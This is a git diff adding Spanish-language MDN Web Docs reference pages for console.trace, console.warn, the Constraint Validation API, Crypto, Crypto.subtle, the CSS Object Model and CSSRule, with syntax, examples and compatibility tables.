index 0000000000..7d11170b1e
--- /dev/null
+++ b/files/es/web/api/console/trace/index.html
@@ -0,0 +1,132 @@
+---
+title: Console.trace()
+slug: Web/API/Console/trace
+translation_of: Web/API/Console/trace
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Outputs a stack trace to the <a href="/en-US/docs/Tools/Web_Console">Web Console</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Ver <a href="/en-US/docs/Web/API/console#Stack_traces">Stack traces</a> en la documentación de {{domxref("console")}} para detalles y ejemplos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>La siguiente indicador será mostrado en la consola:</p>
+
+<pre>bar
+foo
+&lt;anonymous&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoletraceobject--object-", "console.trace()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/es/web/api/console/warn/index.html b/files/es/web/api/console/warn/index.html
new file mode 100644
index 0000000000..d16491e7c0
--- /dev/null
+++ b/files/es/web/api/console/warn/index.html
@@ -0,0 +1,63 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+tags:
+  - Desarrollo web
+translation_of: Web/API/Console/warn
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Imprime un mensaje de advertencia en la Consola Web.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>{{Note("En Firefox, las advertencias tienen un pequeño icono de signo de exclamación junto a estas en el registro de la Consola Web.")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Una lista de objetos JavaScript para ser emitidos en la Consola Web. Las representaciones como string de cada uno de estos objetos son anexados juntos en el orden listado e impresos.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Un string JavaScript que contiene cero o más strings de sustitución.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Objetos JavaScript con los cuales se reemplaza los strings de sustitución dentro de <code>msg</code>. Esto le proporciona un control adicional sobre el formato de salida.</dd>
+</dl>
+
+<p>Vea <a href="/en-US/docs/Web/API/console#Outputting_text_to_the_console">Outputting text to the console</a> en la documentación de {{domxref("console")}} para mas detalles.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#warn", "console.warn()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h2>
+
+<p>{{Compat("api.Console.warn")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/es/web/api/constraint_validation/index.html b/files/es/web/api/constraint_validation/index.html
new file mode 100644
index 0000000000..81811b4891
--- /dev/null
+++ b/files/es/web/api/constraint_validation/index.html
@@ -0,0 +1,154 @@
+---
+title: Constraint validation API
+slug: Web/API/Constraint_validation
+tags:
+  - API
+  - Constraint validation
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/Constraint_validation
+---
+<div>{{apiref()}}</div>
+
+<p><span class="seoSummary">The Constraint Validation API enables checking values that users have entered into form controls, before submitting the values to the server.</span></p>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>Certain HTML form controls, such as {{HTMLElement("input")}}, {{HTMLElement("select")}} and {{HTMLElement("textarea")}}, can restrict the format of allowable values, using attributes like <code>required</code> and <code>pattern</code> to set basic constraints.</p>
+
+<p>However, you may want to impose more complex constraints, or to provide clearer reporting of validation failures than the defaults. This can be done using the Constraint Validation API.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Client-side constraint validation doesn't remove the need for validation on the server side. Even though client-side validation can prevent many common kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application. Therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. Client side validation is a tool for giving quick feedback to the user. You should not rely on it to completely sanitize data received by the server.</p>
+</div>
+
+<p>Validation of constraints through the constraint validation API is done either on a single form element or at the form level, on the {{ HTMLElement("form") }} element itself.</p>
+
+<h2 id="Constraint_validation_interfaces">Constraint validation interfaces</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/ValidityState">ValidityState</a></dt>
+ <dd>The ValidityState interface represents the <em>validity states</em> that a form control element can have, with respect to its defined constraints. Together, they help explain whether and why an element's value fails to validate.</dd>
+ <dt><a href="/en-US/docs/Web/Events/invalid">invalid</a> event</dt>
+ <dd>This event type is fired at a form control element if the element does not satisfy its constraints.</dd>
+</dl>
+
+<h3 id="Extensions_to_other_interfaces">Extensions to other interfaces</h3>
+
+<p>The constraint validation API extends the interfaces for the form-associated elements listed below with a number of new properties and methods (elements that can have a <code>form</code> attribute that indicates their form owner):</p>
+
+<ul>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLButtonElement">HTMLButtonElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLFieldsetElement">HTMLFieldsetElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLInputElement">HTMLInputElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLObjectElement">HTMLObjectElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLOutputElement">HTMLOutputElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></strong></code></li>
+ <li><code><strong><a href="/en-US/docs/Web/API/HTMLTextAreaElement">HTMLTextAreaElement</a></strong></code></li>
+</ul>
+
+<h4 id="Properties">Properties</h4>
+
+<dl>
+ <dt><code>validity</code></dt>
+ <dd>A read-only properity that returns a <code><a href="/en-US/docs/Web/API/ValidityState">ValidityState</a></code> object, whose properties represent validation errors for the value of that element.</dd>
+ <dt><code>validationMessage</code></dt>
+ <dd>A read-only property that returns an empty string if the element is not a candidate for constraint validation, or if the element's value is valid. If the element's value is not valid, it returns a localized validation message. This will be displayed in the UI if the element is the only form control with a validity problem; if a custom error message is set using <code>setCustomValidity()</code>, this will be shown.</dd>
+ <dt><code>willValidate</code></dt>
+ <dd>A read-only boolean property that returns <code>true</code> if the element is a candidate for constraint validation; and <code>false</code> otherwise. Elements with the <code>HTMLObjectElement</code> interface are <em>never</em> candidates for constraint validation. Others may be barred from constraint validation depending on specific conditions.</dd>
+</dl>
+
+<h4 id="Methods">Methods</h4>
+
+<dl>
+ <dt><code>checkValidity()</code></dt>
+ <dd>Checks the element's value against its constraints. If the value is invalid, it fires an <a href="/en-US/docs/Web/Events/invalid">invalid</a> event at the element and returns <code>false</code>; otherwise it returns <code>true</code>.</dd>
+ <dt><code>reportValidity()</code></dt>
+ <dd>Checks the element's value against its constraints and also reports the validity status; if the value is invalid, it fires an <a href="/en-US/docs/Web/Events/invalid">invalid</a> event at the element, returns <code>false</code>, and then reports the validity status to the user in whatever way the user agent has available. Otherwise, it returns <code>true</code>.</dd>
+ <dt><code>setCustomValidity(<em>message</em>)</code></dt>
+ <dd>Sets a custom error message string to be shown to the user upon submitting the form, explaining why the value is not valid — when a message is set, the validity state is set to invalid. To clear this state, invoke the function with an empty string passed as its argument. In this case the custom error message is cleared, the element is considered valid, and no message is shown.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Take the following form:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="name"&gt;Enter username (upper and lowercase letters): &lt;/label&gt;
+  &lt;input type="text" name="name" id="name" required pattern="[A-Za-z]+"&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>The basic HTML form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the <code>pattern</code>.</p>
+
+<p>If you wanted to instead display custom error messages, you could use JavaScript like the following:</p>
+
+<pre class="brush: js">const nameInput = document.querySelector('input');
+const form = document.querySelector('form');
+
+nameInput.addEventListener('input', () =&gt; {
+  nameInput.setCustomValidity('');
+  nameInput.checkValidity();
+});
+
+nameInput.addEventListener('invalid', () =&gt; {
+  if(nameInput.value === '') {
+    nameInput.setCustomValidity('Enter your username!');
+  } else {
+    nameInput.setCustomValidity('Usernames can only contain upper and lowercase letters. Try again!');
+  }
+});</pre>
+
+<p>The example renders like so:</p>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<p>In brief:</p>
+
+<ul>
+ <li>We check the valid state of the input element every time its value is changed by running the <code>checkValidity()</code> method via the <code>input</code> event handler.</li>
+ <li>If the value is invalid, an <code>invalid</code> event is raised, and the <code>invalid</code> event handler function is run. Inside this function we work out whether the value is invalid because it is empty, or because it doesn't match the pattern, using an <code>if()</code> block, and set a custom validity error message.</li>
+ <li>As a result, if the input value is invalid when the submit button is pressed, one of the custom error messages will be shown.</li>
+ <li>If it is valid, it will submit as you'd expect. For this to happen, the custom validity has to be cancelled, by invoking <code>setCustomValidity()</code> with an empty string value. We therefore do this every time the <code>input</code> event is raised. If you don't do this, and a custom validity was previously set, the input will register as invalid, even if it current contains a valid value on submission.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Firefox supported a proprietary error attribute — <code>x-moz-errormessage</code> — for many versions, which allowed you set custom error messages in a similar way. This has been removed as of version 66 (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1513890">bug 1513890</a>).</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'forms.html#the-constraint-validation-api', 'constraint validation API') }}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', 'sec-forms.html#the-constraint-validation-api', 'constraint validation API') }}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from the previous snapshot {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'forms.html#the-constraint-validation-api', 'constraint validation API') }}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/select">&lt;select&gt;</a></code></li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code></li>
+</ul>
diff --git a/files/es/web/api/crypto/index.html b/files/es/web/api/crypto/index.html
new file mode 100644
index 0000000000..3eb118b7b7
--- /dev/null
+++ b/files/es/web/api/crypto/index.html
@@ -0,0 +1,66 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+tags:
+  - API
+  - Interfaz
+  - Referencia
+  - Web Crypto API
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>La interfaz <code><strong>Crypto</strong></code> representa las características básicas de criptografía disponibles en el contexto actual. Permite acceder a un generador de números aleatorios criptográficamente fuerte y a primitivos criptográficos.</p>
+
+<p>Un objeto con esta interfaz está disponible en el contexto de la Web a través de la propiedad {{domxref("Window.crypto")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz implementa las propiedades definidas en {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{readOnlyInline}}</dt>
+ <dd>Retorna un {{domxref("SubtleCrypto")}} objeto proporcionando acceso a primitivos criptográficos comunes, como el hashing, el firmado, cifrado o descifrado.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz implementa las propiedades definidas en {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.getRandomValues()")}}</dt>
+ <dd>Llena el pasado {{ jsxref("TypedArray") }} valores aleatorio sólidos criptográficamente.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, por favor, compruebe <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y enviarnos un pull request.</div>
+
+<p>{{Compat("api.Crypto")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/es/web/api/crypto/subtle/index.html b/files/es/web/api/crypto/subtle/index.html
new file mode 100644
index 0000000000..af1106f076
--- /dev/null
+++ b/files/es/web/api/crypto/subtle/index.html
@@ -0,0 +1,51 @@
+---
+title: Crypto.subtle
+slug: Web/API/Crypto/subtle
+tags:
+  - API
+  - Criptografía
+  - Propiedad
+  - Referencia
+  - Sólo-Lectura
+  - Web Crypto API
+translation_of: Web/API/Crypto/subtle
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>La propiedad de sólo lectura <strong><code>Crypto.subtle</code></strong> retorna un objeto {{domxref("SubtleCrypto")}} permitiendo realizar operaciones criptográficas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>var <em>crypto</em> = crypto.subtle;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("api.Crypto.subtle")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}}.</li>
+ <li>{{domxref("SubtleCrypto")}}.</li>
+ <li><a href="https://vibornoff.github.io/webcrypto-examples/index.html">Compatibility test page</a>.</li>
+ <li><a href="https://github.com/vibornoff/webcrypto-shim">Shim for IE11 and Safari</a>.</li>
+</ul>
diff --git a/files/es/web/api/css_object_model/index.html b/files/es/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..3665c750cd
--- /dev/null
+++ b/files/es/web/api/css_object_model/index.html
@@ -0,0 +1,129 @@
+---
+title: CSS Object Model
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+  - Referencia
+translation_of: Web/API/CSS_Object_Model
+---
+<p>{{DefaultAPISidebar('CSSOM')}}</p>
+
+<p>El Modelo de objetos CSS (<strong>CSS Object Model</strong>) es un conjunto de APIs que permite manipular CSS desde JavaScript. Así como el DOM (Document Object Model) es para HTML, el CSSOM (CSS Object Model) es para CSS. Permite leer y modificar el estilo de CSS de forma dinámica.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("CaretPosition")}}</li>
+ <li>{{domxref("CSS")}}</li>
+ <li>{{domxref("CSSCharsetRule")}}</li>
+ <li>{{domxref("CSSConditionRule")}}</li>
+ <li>{{domxref("CSSCounterStyleRule")}}</li>
+ <li>{{domxref("CSSFontFaceRule")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesMap")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesRule")}}</li>
+ <li>{{domxref("CSSGroupingRule")}}</li>
+ <li>{{domxref("CSSImportRule")}}</li>
+ <li>{{domxref("CSSKeyframeRule")}}</li>
+ <li>{{domxref("CSSKeyframesRule")}}</li>
+ <li>{{domxref("CSSMarginRule")}}</li>
+ <li>{{domxref("CSSMediaRule")}}</li>
+ <li>{{domxref("CSSNamespaceRule")}}</li>
+ <li>{{domxref("CSSPageRule")}}</li>
+ <li>{{domxref("CSSRule")}}</li>
+ <li>{{domxref("CSSRuleList")}}</li>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+ <li>{{domxref("CSSStyleDeclaration")}}</li>
+ <li>{{domxref("CSSSupportsRule")}}</li>
+ <li>{{domxref("CSSVariablesMap")}}</li>
+ <li>{{domxref("CSSViewportRule")}}</li>
+ <li>{{domxref("ElementCSSInlineStyle")}}</li>
+ <li>{{domxref("GeometryUtils")}}</li>
+ <li>{{domxref("GetStyleUtils")}}</li>
+ <li>{{domxref("LinkStyle")}}</li>
+ <li>{{domxref("MediaList")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("PseudoElement")}}</li>
+ <li>{{domxref("Screen")}}</li>
+ <li>{{domxref("StyleSheet")}}</li>
+ <li>{{domxref("StyleSheetList")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p>Algunas otras interfaces también son complementadas por las especificaciones relacionadas con CSSOM: {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, y {{domxref("SVGElement")}}.</p>
+
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determinar las dimensiones de los elementos</a> (Necesita actualización porque se realizó con DHTML/Ajax).</li>
+ <li><a href="/en-US/docs/WebAPI/Managing_screen_orientation">Gestionando la orientación de la pantalla</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Epecificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notas_de_compatibilidad_con_los_navegadores">Notas de compatibilidad con los navegadores</h2>
+
+<p>Todas estas funcionalidades han sido añadidas a los navegadores poco a poco durante los años: Es un complejo proceso que no puede ser resumido en una simple tabla. Por favor busca la disponibilidad en navegadores en las interfaces específicas.</p>
diff --git a/files/es/web/api/cssrule/csstext/index.html b/files/es/web/api/cssrule/csstext/index.html
new file mode 100644
index 0000000000..4dd97fff2c
--- /dev/null
+++ b/files/es/web/api/cssrule/csstext/index.html
@@ -0,0 +1,22 @@
+---
+title: CssRule.cssText
+slug: Web/API/CSSRule/cssText
+translation_of: Web/API/CSSRule/cssText
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<p><span style="font-size: 1.71428571428571rem; letter-spacing: -0.5px; line-height: 24px;">Summary</span></p>
+<p><strong><font><font>cssText</font></font></strong><font><font> returns the current text style rule.</font></font></p>
+<h3 id="Syntax" name="Syntax"><font><font>Syntax</font></font></h3>
+<pre class="eval"><em><font><font>string</font></font></em> = cssRule.cssText
+</pre>
+<h3 id="Example" name="Example"><font><font>Instance</font></font></h3>
+<pre class="eval">if (myRule.cssText.indexOf ("background-color")! = -1) {
+   bgRule = MyRule;
+}
+...
+</pre>
+<h3 id="Specification" name="Specification"><font><font>Specification</font></font></h3>
+<p><font><font>DOM Level 2 Style - cssRule</font></font></p>
diff --git a/files/es/web/api/cssrule/index.html b/files/es/web/api/cssrule/index.html
new file mode 100644
index 0000000000..bd8837d217
--- /dev/null
+++ b/files/es/web/api/cssrule/index.html
@@ -0,0 +1,95 @@
+---
+title: CssRule
+slug: Web/API/CSSRule
+translation_of: Web/API/CSSRule
+---
+<p>{{ ApiRef("CSSOM") }}</p>
+
+<p>El objeto <code>CSSRule </code>representa una única regla de estilo CSS. Puede ser parte de una lista <a href="/Es/DOM/Stylesheet.cssRules" title="es/DOM/stylesheet.cssRules">cssRules</a> de hojas de estilo (<a href="/Es/DOM/Stylesheet" title="es/DOM/stylesheet">stylesheet</a>).</p>
+
+<p>Existen varias clases de reglas y todas ellas comparten unas cuantas propiedades comunes en el interface {{ Anch("CSSRule") }} y la mayor parte de ellas son propiedades específicas de un tipo particular de reglas.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Tipo</th>
+   <th>interface específico de la regla</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>CSSRule.STYLE_RULE</code></td>
+   <td>{{ Anch("CSSStyleRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.MEDIA_RULE</code></td>
+   <td>{{ Anch("CSSMediaRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.FONT_FACE_RULE</code></td>
+   <td>{{ Anch("CSSFontFaceRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.PAGE_RULE</code></td>
+   <td>{{ Anch("CSSPageRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.IMPORT_RULE</code></td>
+   <td>{{ Anch("CSSImportRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.CHARSET_RULE</code></td>
+   <td>{{ Anch("CSSCharsetRule") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.UNKNOWN_RULE</code></td>
+   <td>{{ Anch("CSSUnknownRule") }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="CSSRule" name="CSSRule">CSSRule</h3>
+
+<dl>
+ <dt><a href="/Es/DOM/CssRule.cssText" title="es/DOM/cssRule.cssText">cssText</a></dt>
+ <dd>Devuelve la representación en forma de texto, de la regla. Ejem.: "h1,h2 { font-size: 16pt }".</dd>
+ <dt><a href="/es/DOM/cssRule.parentRule" title="es/DOM/cssRule.parentRule">parentRule</a></dt>
+ <dd>Devuelve la regla contenedora, si existe. Ejem.: una regla de estilo dentro de un bloque @media.</dd>
+ <dt><a href="/Es/DOM/CssRule.parentStyleSheet" title="es/DOM/cssRule.parentStyleSheet">parentStyleSheet</a></dt>
+ <dd>Devuelve el objeto <a href="/Es/DOM/Stylesheet" title="es/DOM/stylesheet">stylesheet</a> del que esta regla es parte.</dd>
+ <dt><a href="/es/DOM/cssRule.type" title="es/DOM/cssRule.type">type</a></dt>
+ <dd>El tipo de regla. ejem.: <code>CSSRule.CHARSET_RULE</code> o <code>CSSRule.IMPORT_RULE</code>.</dd>
+</dl>
+
+<h3 id="CSSStyleRule" name="CSSStyleRule">CSSStyleRule</h3>
+
+<dl>
+ <dt><a href="/Es/DOM/CssRule.selectorText" title="es/DOM/cssRule.selectorText">selectorText</a></dt>
+ <dd>Recoje/Establece la representación en forma de texto, del selector de la regle. Ejem.: "h1,h2".</dd>
+ <dt><a href="/Es/DOM/CssRule.style" title="es/DOM/cssRule.style">style</a></dt>
+ <dd>Devuelve el objeto <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration">CSSStyleDeclaration</a> para el bloque <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">declaration block</a> de la regla.</dd>
+</dl>
+
+<h3 id="CSSStyleRule_2" name="CSSStyleRule_2">CSSStyleRule</h3>
+
+<h3 id="CSSMediaRule" name="CSSMediaRule">CSSMediaRule</h3>
+
+<h3 id="CSSFontFaceRule" name="CSSFontFaceRule">CSSFontFaceRule</h3>
+
+<h3 id="CSSPageRule" name="CSSPageRule">CSSPageRule</h3>
+
+<h3 id="CSSImportRule" name="CSSImportRule">CSSImportRule</h3>
+
+<h3 id="CSSCharsetRule" name="CSSCharsetRule">CSSCharsetRule</h3>
+
+<h3 id="CSSUnknownRule" name="CSSUnknownRule">CSSUnknownRule</h3>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRule">DOM Level 2 CSS: CSSRule</a></p>
diff --git a/files/es/web/api/cssrule/parentstylesheet/index.html b/files/es/web/api/cssrule/parentstylesheet/index.html
new file mode 100644
